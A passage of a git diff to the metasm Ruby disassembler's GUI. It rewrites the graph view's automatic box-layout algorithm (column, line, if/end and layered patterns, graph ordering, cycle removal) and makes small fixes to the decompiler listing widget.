@dasm.c_parser.toplevel.symbol[n] @dasm.rename_label(n, v) - @curaddr = v if @curaddr == n + @curaddr = v if @curaddr == n end gui_update } @@ -264,13 +251,13 @@ class CdecompListingWidget < DrawableWidget invalidate_caret(@caret_x-@view_x, @caret_y-@view_y) @oldcaret_x, @oldcaret_y = @caret_x, @caret_y - redraw if update_hl_word(@line_text[@caret_y], @caret_x) + redraw if update_hl_word(@line_text[@caret_y], @caret_x, :c) end # focus on addr # returns true on success (address exists & decompiled) def focus_addr(addr) - if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr]) + if @dasm.c_parser and (@dasm.c_parser.toplevel.symbol[addr] or @dasm.c_parser.toplevel.struct[addr].kind_of?(C::Union)) @curaddr = addr @caret_x = @caret_y = 0 gui_update diff --git a/lib/metasm/metasm/gui/dasm_graph.rb b/lib/metasm/metasm/gui/dasm_graph.rb index f5fcb3c4f9..30951be1fd 100644 --- a/lib/metasm/metasm/gui/dasm_graph.rb +++ b/lib/metasm/metasm/gui/dasm_graph.rb @@ -22,13 +22,7 @@ class Graph #def inspect ; puts caller ; "#{Expression[@id] rescue @id.inspect}" end end - # TODO - class MergedBox - attr_accessor :id, :text, :x, :y, :w, :h - attr_accessor :to, :from - end - - attr_accessor :id, :box, :root_addrs, :view_x, :view_y, :keep_split + attr_accessor :id, :box, :box_id, :root_addrs, :view_x, :view_y, :keep_split def initialize(id) @id = id @root_addrs = [] @@ -39,29 +33,597 @@ class Graph # empty @box def clear @box = [] + @box_id = {} end # link the two boxes (by id) def link_boxes(id1, id2) - raise "unknown index 1 #{id1}" if not b1 = @box.find { |b| b.id == id1 } - raise "unknown index 2 #{id2}" if not b2 = @box.find { |b| b.id == id2 } + raise "unknown index 1 #{id1}" if not b1 = @box_id[id1] + raise "unknown index 2 #{id2}" if not b2 = @box_id[id2] b1.to |= [b2] b2.from |= [b1] end # creates a new box, ensures id is not already taken def new_box(id, content=nil) - raise "duplicate id #{id}" if @box.find { |b| b.id == id } + raise "duplicate id #{id}" if @box_id[id] b = Box.new(id, content) @box << b + @box_id[id] = b b end + # returns the [x1, y1, x2, y2] of the rectangle encompassing all boxes + def boundingbox + minx = @box.map { |b| b.x }.min.to_i + miny = @box.map { |b| b.y }.min.to_i + maxx = @box.map { |b| b.x + b.w }.max.to_i + maxy = @box.map { |b| b.y + b.h }.max.to_i + [minx, miny, maxx, maxy] + end + + # a -> b -> c -> d (no other in/outs) + def pattern_layout_col(groups) + # find head + return if not head = groups.find { |g| + g.to.length == 1 and + g.to[0].from.length == 1 and + (g.from.length != 1 or g.from[0].to.length != 1) + } + + # find full sequence + ar = [head] + while head.to.length == 1 and head.to[0].from.length == 1 + head = head.to[0] + ar << head + end + + # move boxes inside this group + maxw = ar.map { |g| g.w }.max + fullh = ar.inject(0) { |h, g| h + g.h } + cury = -fullh/2 + ar.each { |g| + dy = cury - g.y + g.content.each { |b| b.y += dy } + cury += g.h + } + + # create remplacement group + newg = Box.new(nil, ar.map { |g| g.content }.flatten) + newg.w = maxw + newg.h = fullh + newg.x = -newg.w/2 + newg.y = -newg.h/2 + newg.from = ar.first.from - ar + newg.to = ar.last.to - ar + # fix xrefs + newg.from.each { |g| g.to -= ar ; g.to << newg } + newg.to.each { |g| g.from -= ar ; g.from << newg } + # fix groups + groups[groups.index(head)] = newg + ar.each { |g| groups.delete g } + + true + end + + # if a group has no content close to its x/x+w borders, shrink it + def group_remove_hz_margin(g, maxw=16) + if g.content.empty? + g.x = -maxw/2 if g.x < -maxw/2 + g.w = maxw if g.w > maxw + return + end + + margin_left = g.content.map { |b| b.x }.min - g.x + margin_right = g.x+g.w - g.content.map { |b| b.x+b.w }.max + if margin_left + margin_right > maxw + g.w -= margin_left + margin_right - maxw + dx = (maxw/2 + margin_right - margin_left)/2 + g.content.each { |b| b.x += dx } + g.x = -g.w/2 + end + end + + # a -> [b, c, d] -> e + def pattern_layout_line(groups) + # find head + ar = [] + groups.each { |g| + if g.from.length == 1 and g.to.length <= 1 and g.from.first.to.length > 1 + ar = g.from.first.to.find_all { |gg| gg.from == g.from and gg.to == g.to } + elsif g.from.empty? and g.to.length == 1 and g.to.first.from.length > 1 + ar = g.to.first.from.find_all { |gg| gg.from == g.from and gg.to == g.to } + else ar = [] + end + break if ar.length > 1 + } + return if ar.length <= 1 + + ar.each { |g| group_remove_hz_margin(g) } + + # move boxes inside this group + #ar = ar.sort_by { |g| -g.h } + maxh = ar.map { |g| g.h }.max + fullw = ar.inject(0) { |w, g| w + g.w } + curx = -fullw/2 + ar.each { |g| + # if no to, put all boxes at bottom ; if no from, put them at top + case [g.from.length, g.to.length] + when [1, 0]; dy = (g.h - maxh)/2 + when [0, 1]; dy = (maxh - g.h)/2 + else dy = 0 + end + + dx = curx - g.x + g.content.each { |b| b.x += dx ; b.y += dy } + curx += g.w + } + # add a 'margin-top' proportionnal to the ar width + # this gap should be relative to the real boxes and not possible previous gaps when + # merging lines (eg long line + many if patterns -> dont duplicate gaps) + boxen = ar.map { |g| g.content }.flatten + realh = boxen.map { |g| g.y + g.h }.max - boxen.map { |g| g.y }.min + if maxh < realh + fullw/4 + maxh = realh + fullw/4 + end + + # create remplacement group + newg = Box.new(nil, ar.map { |g| g.content }.flatten) + newg.w = fullw + newg.h = maxh + newg.x = -newg.w/2 + newg.y = -newg.h/2 + newg.from = ar.first.from + newg.to = ar.first.to + # fix xrefs + newg.from.each { |g| g.to -= ar ; g.to << newg } + newg.to.each { |g| g.from -= ar ; g.from << newg } + # fix groups + groups[groups.index(ar.first)] = newg + ar.each { |g| groups.delete g } + + true + end + + # a -> b -> c & a -> c + def pattern_layout_ifend(groups) + # find head + return if not head = groups.find { |g| + g.to.length == 2 and + ((g.to[0].from.length == 1 and g.to[0].to.length == 1 and g.to[0].to[0] == g.to[1]) or + (g.to[1].from.length == 1 and g.to[1].to.length == 1 and g.to[1].to[0] == g.to[0])) + } + + if head.to[0].to.include?(head.to[1]) + ten = head.to[0] + else + ten = head.to[1] + end + + # stuff 'then' inside the 'if' + # move 'if' up, 'then' down + head.content.each { |g| g.y -= ten.h/2 } + ten.content.each { |g| g.y += head.h/2 } + head.h += ten.h + head.y -= ten.h/2 + + # widen 'if' + # this adds a phantom left side + # drop existing margins first + group_remove_hz_margin(ten) + dw = ten.w - head.w/2 + if dw > 0 + # need to widen head to fit ten + head.w += 2*dw + head.x -= dw + end + + # merge + ten.content.each { |g| g.x += -ten.x } + head.content.concat ten.content + + head.to.delete ten + head.to[0].from.delete ten + + groups.delete ten + + true + + end + + def pattern_layout_complex(groups) + order = order_graph(groups) + uniq = nil + if groups.sort_by { |g| order[g] }.find { |g| + next if g.to.length <= 1 + # list all nodes reachable for every 'to' + reach = g.to.map { |t| list_reachable(t) } + # list all nodes reachable only from a single 'to' + uniq = [] + reach.each_with_index { |r, i| + # take all nodes reachable from there ... + u = uniq[i] = r.dup + u.delete_if { |k, v| k.content.empty? } # ignore previous layout_complex artifacts + reach.each_with_index { |rr, ii| + next if i == ii + # ... and delete nodes reachable from anywhere else + rr.each_key { |k| u.delete k } + } + } + uniq.delete_if { |u| u.length <= 1 } + !uniq.empty? + } + # now layout every uniq subgroup independently + uniq.each { |u| + subgroups = groups.find_all { |g| u[g] } + + # isolate subgroup from external links + # change all external links into a single empty box + newtop = Box.new(nil, []) + newtop.x = -8 ; newtop.y = -9 + newtop.w = 16 ; newtop.h = 18 + newbot = Box.new(nil, []) + newbot.x = -8 ; newbot.y = -9 + newbot.w = 16 ; newbot.h = 18 + hadfrom = [] ; hadto = [] + subgroups.each { |g| + g.to.dup.each { |t| + next if u[t] + newbot.from |= [g] + g.to.delete t + hadto << t + g.to |= [newbot] + } + g.from.dup.each { |f| + next if u[f] + newtop.to |= [g] + g.from.delete f + hadfrom << f + g.from |= [newtop] + } + } + subgroups << newtop << newbot + + # subgroup layout + auto_arrange_step(subgroups) while subgroups.length > 1 + newg = subgroups[0] + + # patch 'groups' + idx = groups.index { |g| u[g] } + groups.delete_if { |g| u[g] } + groups[idx, 0] = [newg] + + # restore external links & fix xrefs + hadfrom.uniq.each { |f| + f.to.delete_if { |t| u[t] } + f.to |= [newg] + newg.from |= [f] + } + hadto.uniq.each { |t| + t.from.delete_if { |f| u[f] } + t.from |= [newg] + newg.to |= [t] + } + } + + true + end + end + + # find the minimal set of nodes from which we can reach all others + # this is done *before* removing cycles in the graph + # returns the order (Hash group => group_order) + # roots have an order of 0 + def order_graph(groups) + roots = groups.find_all { |g| g.from.empty? } + o = {} # tentative order + todo = [] + + loop do + roots.each { |g| + o[g] ||= 0 + todo |= g.to.find_all { |gg| not o[gg] } + } + + # order nodes from the tentative roots + until todo.empty? + n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o) + todo.delete n + o[n] = n.from.map { |g| o[g] }.compact.max + 1 + todo |= n.to.find_all { |g| not o[g] } + end + break if o.length >= groups.length + + # pathological cases + + if noroot = groups.find_all { |g| o[g] and g.from.find { |gg| not o[gg] } }.sort_by { |g| o[g] }.first + # we picked a root in the middle of the graph, walk up + todo |= noroot.from.find_all { |g| not o[g] } + until todo.empty? + n = todo.find { |g| g.to.all? { |gg| o[gg] } } || + todo.sort_by { |g| g.to.map { |gg| o[gg] }.compact.min }.first + todo.delete n + o[n] = n.to.map { |g| o[g] }.compact.min - 1 + todo |= n.from.find_all { |g| not o[g] } + end + # setup todo for next fwd iteration + todo |= groups.find_all { |g| not o[g] and g.from.find { |gg| o[gg] } } + else + # disjoint graph, start over from one other random node + roots << groups.find { |g| not o[g] } + end + end + + if o.values.find { |rank| rank < 0 } + # did hit a pathological case, restart with found real roots + roots = groups.find_all { |g| not g.from.find { |gg| o[gg] < o[g] } } + o = {} + todo = [] + roots.each { |g| + o[g] ||= 0 + todo |= g.to.find_all { |gg| not o[gg] } + } + until todo.empty? + n = todo.find { |g| g.from.all? { |gg| o[gg] } } || order_solve_cycle(todo, o) + todo.delete n + o[n] = n.from.map { |g| o[g] }.compact.max + 1 + todo |= n.to.find_all { |g| not o[g] } + end + + # there's something screwy around here ! + raise "moo" if o.length < groups.length + end + + o + end + + def order_solve_cycle(todo, o) + # 'todo' has no trivial candidate + # pick one node from todo which no other todo can reach + # exclude pathing through already ordered nodes + todo.find { |t1| + not todo.find { |t2| t1 != t2 and can_find_path(t2, t1, o.dup) } + } || + # some cycle heads are mutually recursive + todo.sort_by { |t1| + # find the one who can reach the most others + [todo.find_all { |t2| t1 != t2 and can_find_path(t1, t2, o.dup) }.length, + # and with the highest rank + t1.from.map { |gg| o[gg] }.compact.max] + }.last + end + + # checks if there is a path from src to dst avoiding stuff in 'done' + def can_find_path(src, dst, done={}) + todo = [src] + while g = todo.pop + next if done[g] + return true if g == dst + done[g] = true + todo.concat g.to + end + false + end + + # returns a hash with true for every node reachable from src (included) + def list_reachable(src, done={}) + todo = [src] + while g = todo.pop + next if done[g] + done[g] = true + todo.concat g.to + end + done + end + + # revert looping edges in groups + def make_tree(groups, order) + # now we have the roots and node orders + # revert cycling edges - o(chld) < o(parent) + order.each_key { |g| + g.to.dup.each { |gg| + if order[gg] < order[g] + # cycling edge, revert + g.to.delete gg + gg.from.delete g + g.from |= [gg] + gg.to |= [g] + end + } + } + end + + # group groups in layers of same order + # create dummy groups along long edges so that no path exists between non-contiguous layers + def create_layers(groups, order) + newemptybox = lambda { + b = Box.new(nil, []) + b.x = -8 + b.y = -9 + b.w = 16 + b.h = 18 + groups << b + b + } + + newboxo = {} + + order.each_key { |g| + og = order[g] || newboxo[g] + g.to.dup.each { |gg| + ogg = order[gg] || newboxo[gg] + if ogg > og+1 + # long edge, expand + sq = [g] + (ogg - 1 - og).times { |i| sq << newemptybox[] } + sq << gg + gg.from.delete g + g.to.delete gg + newboxo[g] ||= order[g] + sq.inject { |g1, g2| + g1.to |= [g2] + g2.from |= [g1] + newboxo[g2] = newboxo[g1]+1 + g2 + } + raise if newboxo[gg] != ogg + end + } + } + + order.update newboxo + + # layers[o] = [list of nodes of order o] + layers = [] + groups.each { |g| + (layers[order[g]] ||= []) << g + } + + layers + end + + # take all groups, order them by order, layout as layers + # always return a single group holding everything + def layout_layers(groups) + order = order_graph(groups) + # already a tree + layers = create_layers(groups, order) + return if layers.empty? + + layers.each { |l| l.each { |g| group_remove_hz_margin(g) } } + + # widest layer width + maxlw = layers.map { |l| l.inject(0) { |ll, g| ll + g.w } }.max + + # center the 1st layer boxes on a segment that large + x0 = -maxlw/2.0 + curlw = layers[0].inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*layers[0].length) + layers[0].each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + + # at this point, the goal is to reorder the most populated layer the best we can, and + # move other layers' boxes accordingly + layers[1..-1].each { |l| + # for each subsequent layer, reorder boxes based on their ties with the previous layer + i = 0 + l.replace l.sort_by { |g| + # we know g.from is not empty (g would be in @layer[0]) + medfrom = g.from.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.from.length + # on ties, keep original order + [medfrom, i] + } + # now they are reordered, update their #x accordingly + # evenly distribute them in the layer + x0 = -maxlw/2.0 + curlw = l.inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*l.length) + l.each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + } + + layers[0...-1].reverse_each { |l| + # for each subsequent layer, reorder boxes based on their ties with the previous layer + i = 0 + l.replace l.sort_by { |g| + if g.to.empty? + # TODO floating end + medfrom = 0 + else + medfrom = g.to.inject(0.0) { |mx, gg| mx + (gg.x + gg.w/2.0) } / g.to.length + end + # on ties, keep original order + [medfrom, i] + } + # now they are reordered, update their #x accordingly + x0 = -maxlw/2.0 + curlw = l.inject(0) { |ll, g| ll + g.w } + dx0 = (maxlw - curlw) / (2.0*l.length) + l.each { |g| + x0 += dx0 + g.x = x0 + x0 += g.w + dx0 + } + } + + # now the boxes are (hopefully) sorted correctly + # position them according to their ties with prev/next layer + # from the maxw layer (positionning = packed), propagate adjacent layers positions + maxidx = (0..layers.length).find { |i| l = layers[i] ; l.inject(0) { |ll, g| ll + g.w } == maxlw } + # list of layer indexes to walk + ilist = [maxidx] + ilist.concat((maxidx+1...layers.length).to_a) if maxidx < layers.length-1 + ilist.concat((0..maxidx-1).to_a.reverse) if maxidx > 0 + layerbox = [] + ilist.each { |i| + l = layers[i] + curlw = l.inject(0) { |ll, g| ll + g.w } + # left/rightmost acceptable position for the current box w/o overflowing on the right side + minx = -maxlw/2.0 + maxx = minx + (maxlw-curlw) + + # replace whole layer with a box + newg = layerbox[i] = Box.new(nil, l.map { |g| g.content }.flatten) + newg.w = maxlw + newg.h = l.map { |g| g.h }.max + newg.x = -newg.w/2 + newg.y = -newg.h/2 + # dont care for from/to, we'll return a single box anyway + + l.each { |g| + ref = (i < maxidx) ? g.to : g.from + # TODO elastic positionning around the ideal position + # (g and g+1 may have the same med, then center both on it) + if i == maxidx + nx = minx + elsif ref.empty? + nx = (minx+maxx)/2 + else + # center on the outline of rx + # may want to center on rx center's center ? + rx = ref.sort_by { |gg| gg.x } + med = (rx.first.x + rx.last.x + rx.last.w - g.w) / 2.0 + nx = [[med, minx].max, maxx].min + end + dx = nx+g.w/2 + g.content.each { |b| b.x += dx } + minx = nx+g.w + maxx += g.w + } + } + + newg = Box.new(nil, layerbox.map { |g| g.content }.flatten) + newg.w = layerbox.map { |g| g.w }.max + newg.h = layerbox.inject(0) { |h, g| h + g.h } + newg.x = -newg.w/2 + newg.y = -newg.h/2 + + # vertical: just center each box on its layer + y0 = newg.y + layerbox.each { |lg| + lg.content.each { |b| + b.y += y0-lg.y + } + y0 += lg.h + } + + groups.replace [newg] + end + + # place boxes in a good-looking layout - def auto_arrange_init(list=@box) - # groups is an array of box groups + # create artificial 'group' container for boxes, that will later be merged in geometrical patterns + def auto_arrange_init + # 'group' is an array of boxes # all groups are centered on the origin - @groups = list.map { |b| + h = {} # { box => group } + @groups = @box.map { |b| b.x = -b.w/2 b.y = -b.h/2 g = Box.new(nil, [b]) @@ -69,6 +631,7 @@ class Graph g.y = b.y - 9 g.w = b.w + 16 g.h = b.h + 18 + h[b] = g g } @@ -77,394 +640,101 @@ class Graph # no self references # a box is in one and only one group in 'groups' @groups.each { |g| - g.to = g.content.first.to.map { |t| next if not t = list.index(t) ; @groups[t] }.compact - [g] - g.from = g.content.first.from.map { |f| next if not f = list.index(f) ; @groups[f] }.compact - [g] + g.to = g.content.first.to.map { |t| h[t] if t != g }.compact + g.from = g.content.first.from.map { |f| h[f] if f != g }.compact } - # walk from a box, fork at each multiple to, chop links to a previous box (loops etc) - @madetree = false + # order boxes + order = order_graph(@groups) + + # remove cycles from the graph + make_tree(@groups, order) end - # gives a text representation of the current graph state - def dump_layout(groups=@groups) - groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" } + def auto_arrange_step(groups=@groups) + pattern_layout_col(groups) or pattern_layout_line(groups) or + pattern_layout_ifend(groups) or pattern_layout_complex(groups) or + layout_layers(groups) end - def auto_arrange_step - # TODO fix - # 0->[1, 2] 1->[3] 2->[3, 4] 3->[] 4->[1] - # push 0 jz l3 push 1 jz l4 push 2 l3: push 3 l4: hlt - # and more generally all non-looping graphs where this algo creates backward links - - groups = @groups - return if groups.length <= 1 - - maketree = lambda { |roots| - next if @madetree - @madetree = true - - maxdepth = {} # max arc count to reach this box from graph start (excl loop) - - trim = lambda { |g, from| - # unlink g from (part of) its from - from.each { |gg| gg.to.delete g } - g.from -= from - } - - walk = lambda { |g| - # score - parentdepth = g.from.map { |gg| maxdepth[gg] } - if parentdepth.empty? - # root - maxdepth[g] = 0 - elsif parentdepth.include? nil - # not farthest parent found / loop - next - # elsif maxdepth[g] => ? - else - maxdepth[g] = parentdepth.max + 1 - end - g.to.each { |gg| walk[gg] } - } - - roots.each { |g| trim[g, g.from] unless g.from.empty? } - roots.each { |g| walk[g] } - - # handle loops now (unmarked nodes) - while unmarked = groups - maxdepth.keys and not unmarked.empty? - if g = unmarked.find { |g_| g_.from.find { |gg| maxdepth[gg] } } - # loop head - trim[g, g.from.find_all { |gg| not maxdepth[gg] }] # XXX not quite sure for this - walk[g] - else - # disconnected subgraph - g = unmarked.find { |g_| g_.from.empty? } || unmarked.first - trim[g, g.from] - maxdepth[g] = 0 - walk[g] - end - end - } - - # concat all ary boxes into its 1st element, remove trailing groups from 'groups' - # updates from/to - merge_groups = lambda { |ary| - bg = Box.new(nil, []) - bg.x, bg.y = ary.map { |g| g.x }.min, ary.map { |g| g.y }.min - bg.w, bg.h = ary.map { |g| g.x+g.w }.max - bg.x, ary.map { |g| g.y+g.h }.max - bg.y - ary.each { |g| - bg.content.concat g.content - bg.to |= g.to - bg.from |= g.from - } - bg.to -= ary - bg.to.each { |t| t.from = t.from - ary + [bg] } - bg.from -= ary - bg.from.each { |f| f.to = f.to - ary + [bg] } - idx = ary.map { |g| groups.index(g) }.min - groups = @groups = groups - ary - groups.insert(idx, bg) - bg - } - - # move all boxes within group of dx, dy - move_group = lambda { |g, dx, dy| - g.content.each { |b| b.x += dx ; b.y += dy } - g.x += dx ; g.y += dy - } - - align_hz = lambda { |ary| - # if we have one of the block much bigger than the others, put it on the far right - big = ary.sort_by { |g| g.h }.last - if (ary-[big]).all? { |g| g.h < big.h/3 } - ary -= [big] - else - big = nil - end - nx = ary.map { |g| g.w }.inject(0) { |a, b| a+b } / -2 - nx *= 2 if big and ary.length == 1 # just put the parent on the separation of the 2 child - ary.each { |g| - move_group[g, nx-g.x, 0] - nx += g.w - } - move_group[big, nx-big.x, 0] if big - } - align_vt = lambda { |ary| - ny = ary.map { |g| g.h }.inject(0) { |a, b| a+b } / -2 - ary.each { |g| - move_group[g, 0, ny-g.y] - ny += g.h - } - } - - # scan groups for a column pattern (head has 1 'to' which from == [head]) - group_columns = lambda { - groups.find { |g| - next if g.from.length == 1 and g.from.first.to.length == 1 - ary = [g] - ary << (g = g.to.first) while g.to.length == 1 and g.to.first.from.length == 1 - next if ary.length <= 1 - align_vt[ary] - merge_groups[ary] - true - } - } - - # scan groups for a line pattern (multiple groups with same to & same from) - group_lines = lambda { |strict| - if groups.all? { |g1| g1.from.empty? and g1.to.empty? } - # disjoint subgraphs - align_hz[groups] - merge_groups[groups] - next true - end - - groups.find { |g1| - ary = g1.from.map { |gg| gg.to }.flatten.uniq.find_all { |gg| - gg != g1 and - (gg.from - g1.from).empty? and (g1.from - gg.from).empty? and - (strict ? ((gg.to - g1.to).empty? and (g1.to - gg.to).empty?) : (g1.to & gg.to).first) - } - ary = g1.to.map { |gg| gg.from }.flatten.uniq.find_all { |gg| - gg != g1 and - (gg.to - g1.to).empty? and (g1.to - gg.to).empty? and - (strict ? ((gg.from - g1.from).empty? and (g1.from - gg.from).empty?) : (g1.from & gg.from).first) - } if ary.empty? - next if ary.empty? - ary << g1 - dy = 16*ary.map { |g| g.to.length + g.from.length }.inject { |a, b| a+b } - ary.each { |g| g.h += dy ; g.y -= dy/2 } - align_hz[ary] - if ary.first.to.empty? # shrink graph if highly dissymetric and to.empty? - ah = ary.map { |g| g.h }.max - ary.each { |g| - move_group[g, 0, (g.h-ah)/2] # move up - next if not p = ary[ary.index(g)-1] - y = [g.y, p.y].min # shrink width - h = [g.h, p.h].min - xp = p.content.map { |b| b.x+b.w if b.y+b.h+8 >= y and b.y-8 <= y+h }.compact.max || p.x+p.w/2 - xg = g.content.map { |b| b.x if b.y+b.h+8 >= y and b.y-8 <= y+h }.compact.min || g.x+g.w/2 - dx = xg-xp-24 - next if dx <= 0 - ary.each { |gg| - dx = -dx if gg == g - move_group[gg, dx/2, 0] - } - if p.x+p.w > ary.last.x+ary.last.w or ary.first.x > g.x # fix broken centerism - x = [g.x, ary.first.x].min - xm = [p.x+p.w, ary.last.x+ary.last.w].max - ary.each { |gg| move_group[gg, (x+xm)/-2, 0] } - end - } - end - merge_groups[ary] - true - } - } - - group_inv_if = {} - - # scan groups for a if/then pattern (1 -> 2 -> 3 & 1 -> 3) - group_ifthen = lambda { |strict| - groups.reverse.find { |g| - next if not g2 = g.to.find { |g2_| (g2_.to.length == 1 and g.to.include?(g2_.to.first)) or - (not strict and g2_.to.empty?) } - next if strict and g2.from != [g] or g.to.length != 2 - g2.h += 16 ; g2.y -= 8 - align_vt[[g, g2]] - dx = -g2.x+8 - dx -= g2.w+16 if group_inv_if[g] - move_group[g2, dx, 0] - merge_groups[[g, g2]] - true - } - } - - # if (a || b) c; - # the 'else' case handles '&& else', and && is two if/then nested - group_or = lambda { |strict| - groups.find { |g| - next if g.to.length != 2 - g2 = g.to[0] - g2 = g.to[1] if not g2.to.include? g.to[1] - thn = (g.to & g2.to).first - next if g2.to.length != 2 or not thn or thn.to.length != 1 - els = (g2.to - [thn]).first - if thn.to == [els] - els = nil - elsif els.to != thn.to - next if strict - align_vt[[g, g2]] - merge_groups[[g, g2]] - break true - else - align_hz[[thn, els]] - thn = merge_groups[[thn, els]] - end - thn.h += 16 ; thn.y -= 8 - align_vt[[g, g2, thn]] - move_group[g2, -g2.x, 0] - move_group[thn, thn.x-8, 0] if not els - merge_groups[[g, g2, thn]] - true - } - } - - - # loop with exit 1 -> 2, 3 & 2 -> 1 - group_loop = lambda { - groups.find { |g| - next if not g2 = g.to.sort_by { |g2_| g2_.h }.find { |g2_| g2_.to == [g] or (g2_.to.empty? and g2_.from == [g]) } - g2.h += 16 - align_vt[[g, g2]] - move_group[g2, g2.x-8, 0] - merge_groups[[g, g2]] - true - } - } - - # same single from or to - group_halflines = lambda { - ary = nil - if groups.find { |g| ary = g.from.find_all { |gg| gg.to == [g] } and ary.length > 1 } or - groups.find { |g| ary = g.to.find_all { |gg| gg.from == [g] } and ary.length > 1 } - align_hz[ary] - merge_groups[ary] - true - end - } - - - # unknown pattern, group as we can.. - group_other = lambda { -puts 'graph arrange: unknown configuration', dump_layout - g1 = groups.find_all { |g| g.from.empty? } - g1 << groups[rand(groups.length)] if g1.empty? - g2 = g1.map { |g| g.to }.flatten.uniq - g1 - align_vt[g1] - g1 = merge_groups[g1] - g1.w += 128 ; g1.x -= 64 - next if g2.empty? - align_vt[g2] - g2 = merge_groups[g2] - g2.w += 128 ; g2.x -= 64 - - align_hz[[g1, g2]] - merge_groups[[g1, g2]] - true - } - - # check constructs with multiple blocks with to to end block (a la break;) - ign_break = lambda { - can_reach = lambda { |b1, b2, term| - next if b1 == term - done = [term] - todo = b1.to.dup - while t = todo.pop - next if done.include? t - done << t - break true if t == b2 - todo.concat t.to - end - } - can_reach_unidir = lambda { |b1, b2, term| can_reach[b1, b2, term] and not can_reach[b2, b1, term] } - groups.find { |g| - f2 = nil - if (g.from.length > 2 and f3 = g.from.find { |f| f.to == [g] } and f1 = g.from.find { |f| - f2 = g.from.find { |ff| can_reach_unidir[ff, f3, g] and can_reach_unidir[f, ff, g] }}) or - (g.to.length > 2 and f3 = g.to.find { |f| f.from == [g] } and f1 = g.to.find { |f| - f2 = g.to.find { |ff| can_reach_unidir[f3, ff, g] and can_reach_unidir[ff, f, g] }}) - group_inv_if[f1] = true - if f3.to == [g] - g.from.delete f2 - f2.to.delete g - else - g.to.delete f2 - f2.from.delete g - end - true - end - } - } - - # walk graph from roots, cut backward links - trim_graph = lambda { - next true if ign_break[] - g1 = groups.find_all { |g| g.from.empty? } - g1 << groups.first if g1.empty? - cntpre = groups.inject(0) { |cntpre_, g| cntpre_ + g.to.length } - g1.each { |g| maketree[[g]] } - cntpost = groups.inject(0) { |cntpre_, g| cntpre_ + g.to.length } - true if cntpre != cntpost - } - - # known, clean patterns - group_clean = lambda { - group_columns[] or group_lines[true] or group_ifthen[true] or group_loop[] or group_or[true] - } - # approximations - group_unclean = lambda { - group_lines[false] or group_or[false] or group_halflines[] or group_ifthen[false] or group_other[] - } - - group_clean[] or trim_graph[] or group_unclean[] - end - - # the boxes have been almost put in place, here we soften a little the result & arrange some qwirks def auto_arrange_post - # entrypoint should be above other boxes, same for exitpoints - @box.each { |b| - if b.from == [] - chld = b.to - chld = @box - [b] if not @box.find { |bb| bb != b and bb.from == [] } - chld.each { |t| b.y = t.y - b.h - 16 if t.y < b.y+b.h } - end - if b.to == [] - chld = b.from - chld = @box - [b] if not @box.find { |bb| bb != b and bb.to == [] } - chld.each { |f| b.y = f.y + f.h + 16 if f.y+f.h > b.y } - end - } + auto_arrange_movebox + #auto_arrange_vertical_shrink + end - boxxy = @box.sort_by { |bb| bb.y } - # fill gaps that we created - @box.each { |b| - bottom = b.y+b.h - next if not follower = boxxy.find { |bb| bb.y+bb.h > bottom } - - # preserve line[] constructs margins - gap = follower.y-16*follower.from.length - (bottom+16*b.to.length) - next if gap <= 0 - - @box.each { |bb| - if bb.y+bb.h <= bottom - bb.y += gap/2 - else - bb.y -= gap/2 - end + # actually move boxes inside the groups + def auto_arrange_movebox + @groups.each { |g| + dx = (g.x + g.w/2).to_i + dy = (g.y + g.h/2).to_i + g.content.each { |b| + b.x += dx + b.y += dy } - boxxy = @box.sort_by { |bb| bb.y } - } - - @box[0,0].each { |b| - # TODO elastic positionning (ignore up arrows ?) & collision detection (box/box + box/arrow) - f = b.from[0] - t = b.to[0] - if b.to.length == 1 and b.from.length == 1 and b.y+b.hf.y+f.h - wx = (t.x+t.w/2 + f.x+f.w/2)/2 - b.w/2 - wy = (t.y + f.y+f.h)/2 - b.h/2 - b.x += (wx-b.x)/5 - b.y += (wy-b.y)/5 - end + } + end + + def auto_arrange_vertical_shrink + # vertical shrink + # TODO stuff may shrink vertically more if we could move it slightly horizontally... + @box.sort_by { |b| b.y }.each { |b| + + next if b.from.empty? + # move box up to its from, unless something blocks the way + + min_y = b.from.map { |bb| + bb.y+bb.h + }.find_all { |by| + by <= b.y + }.max + + moo = [] + moo << 8*b.from.length + moo << 8*b.from[0].to.length + cx = b.x+b.w/2 + moo << b.from.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10 + cx = b.from[0].x+b.from[0].w/2 + moo << b.from[0].to.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10 + margin_y = 16 + moo.max + + next if not min_y or b.y <= min_y + margin_y + + blocking = @box.find_all { |bb| + next if bb == b + bb.y+bb.h > min_y and bb.y+bb.h < b.y and + bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x + } + + may_y = blocking.map { |bb| bb.y+bb.h } << min_y + + do_y = may_y.sort.map { |by| by + margin_y }.find { |by| + # should not collision with b if moved to by+margin_y + not blocking.find { |bb| + bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x and + bb.y-12 < by+b.h and bb.y+bb.h+12 > by + } + } + + b.y = do_y if do_y < b.y + + # no need to re-sort outer loop } + # TODO + # energy-minimal positionning of boxes from this basic layout + # avoid arrow confusions end def auto_arrange_boxes auto_arrange_init nil while @groups.length > 1 and auto_arrange_step - @groups = [] auto_arrange_post + @groups = [] + end + + # gives a text representation of the current graph state + def dump_layout(groups=@groups) + groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" } end end @@ -488,23 +758,27 @@ class GraphViewWidget < DrawableWidget @shown_boxes = [] @mousemove_origin = @mousemove_origin_ctrl = nil @curcontext = Graph.new(nil) + @want_focus_addr = nil @margin = 8 @zoom = 1.0 - @default_color_association = { :background => :paleblue, :hlbox_bg => :palegrey, :box_bg => :white, - :text => :black, :arrow_hl => :red, :comment => :darkblue, :address => :darkblue, - :instruction => :black, :label => :darkgreen, :caret => :black, :hl_word => :palered, - :cursorline_bg => :paleyellow, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue, - :arrow_direct => :darkred } + 